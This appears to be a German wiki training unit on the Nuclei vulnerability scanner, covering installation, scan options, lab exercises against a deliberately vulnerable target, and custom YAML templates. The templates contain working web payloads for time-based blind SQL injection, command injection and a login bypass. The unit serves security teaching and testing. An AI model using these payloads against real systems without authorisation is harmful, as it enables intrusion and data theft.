Nuclei-2

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen

Schulungseinheit: Schwachstellenscans mit Nuclei

Thema

  • Nuclei – Automatisierter Schwachstellenscanner mit YAML-basierten Templates

Ziel

  • Teilnehmende verstehen Aufbau und Funktionsweise von Nuclei
  • Sie führen zielgerichtete Schwachstellenscans durch und werten die Ergebnisse aus
  • Sie lernen, eigene Templates für spezifische Lücken zu erstellen

1. Vorbereiten: Einstieg & Motivation

  • Nuclei ist ein schneller, template-basierter Schwachstellenscanner für Webanwendungen und Infrastruktur
  • Es nutzt YAML-Templates zur Erkennung von Schwachstellen wie:
    • CVEs
    • OWASP Top 10
    • Fehlkonfigurationen
    • Technologieerkennung
    • Header- oder Cookie-Manipulation
  • Automatisierte Schwachstellenerkennung auf mehreren Targets gleichzeitig
  • Einfache Integration in CI/CD, eigene Tools und Laborszenarien

2. Vormachen/Erklären: Grundlagen & Aufbau

Installation

apt install -y golang
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
export PATH=$PATH:$(go env GOPATH)/bin
nuclei -version

Templates aktualisieren

nuclei -update-templates

Grundstruktur eines Befehls

nuclei -u <ziel> -t <template> -severity <level>

Wichtige Optionen

  • -u: Einzelnes Ziel (z.B. -u https://ziel.local)
  • -l: Liste von Zielen (targets.txt)
  • -t: Template oder Verzeichnis (z.B. cves/, exposures/)
  • -severity: Filter nach Schweregrad
  • -rate-limit: Requests pro Sekunde
  • -timeout / -retries: Scan-Zuverlässigkeit
  • -proxy: z.B. für Burp-Suite
  • -json / -o: Berichte

Beispielhafter Scan

nuclei -u https://ziel.local -t cves/ -severity critical -rate-limit 50

Templates anzeigen

nuclei -tl

Ergebnis speichern

nuclei -u https://ziel.local -o ergebnisse.json -json

3. Nachmachen/Üben: Aufgaben am Zielsystem

Voraussetzungen

  • Angreifer: Kali-Linux mit Nuclei
  • Ziel: Web-Appliance (z.B. DVWA, Metasploitable2) erreichbar unter http://10.0.10.104
  • Datei mit Ziel-IP:
echo "http://10.0.10.104" > targets.txt

Aufgabe 1

  • Führe einen allgemeinen Schwachstellenscan gegen das Ziel aus:
nuclei -l targets.txt -severity high,critical

Aufgabe 2

  • Suche gezielt nach SQL-Injection-Lücken:
nuclei -l targets.txt -tags sqli

Aufgabe 3

  • Unterscheide klassische SQLi von Blind SQLi:
nuclei -l targets.txt -tags sqli-blind

Aufgabe 4

  • Finde eine funktionierende Command Injection:
nuclei -l targets.txt -tags cmd-injection

Aufgabe 5

  • Scanne mit Proxy (z. B. Burp):
nuclei -l targets.txt -proxy http://127.0.0.1:8080

Aufgabe 6

  • Erzeuge einen JSON-Report:
nuclei -l targets.txt -o report.json -json

4. Selbstständige Anwendung: Eigene Templates

Ziel

Teilnehmende erstellen ein eigenes Template für eine bekannte Schwachstelle

Beispiel 1: Blind SQL Injection

id: custom-blind-sqli
info:
  name: Blind SQLi Test (Sleep Delay)
  severity: high
  tags: sqli,blind
requests:
  - method: GET
    path:
      - "{{BaseURL}}/vuln.php?id=1' AND SLEEP(5)--"
    matchers:
      - type: dsl
        dsl:
          - duration>=5
  • Ausführen:
nuclei -t ./custom-blind-sqli.yaml -u http://10.0.10.104

Beispiel 2: Command Injection

id: custom-cmd-injection
info:
  name: CMD Injection (id)
  severity: critical
  tags: cmd-injection
requests:
  - method: GET
    path:
      - "{{BaseURL}}/cmd.php?cmd=id"
    matchers:
      - type: word
        words:
          - "uid="

Beispiel 3: POST-basierte SQL Injection

id: custom-post-sqli
info:
  name: POST SQL Injection
  severity: high
  tags: sqli,post
requests:
  - method: POST
    path:
      - "{{BaseURL}}/login.php"
    body: "user=admin'--&pass=test"
    headers:
      Content-Type: application/x-www-form-urlencoded
    matchers:
      - type: word
        words:
          - "Welcome"

Hinweise zur Nachbereitung

  • Ergebnisse besprechen, kritisch hinterfragen
  • Unterschiede zwischen False Positives und echten Lücken erkennen
  • Sicherer Umgang mit Schwachstellen-Informationen
  • Vorschläge zur Behebung

Quellen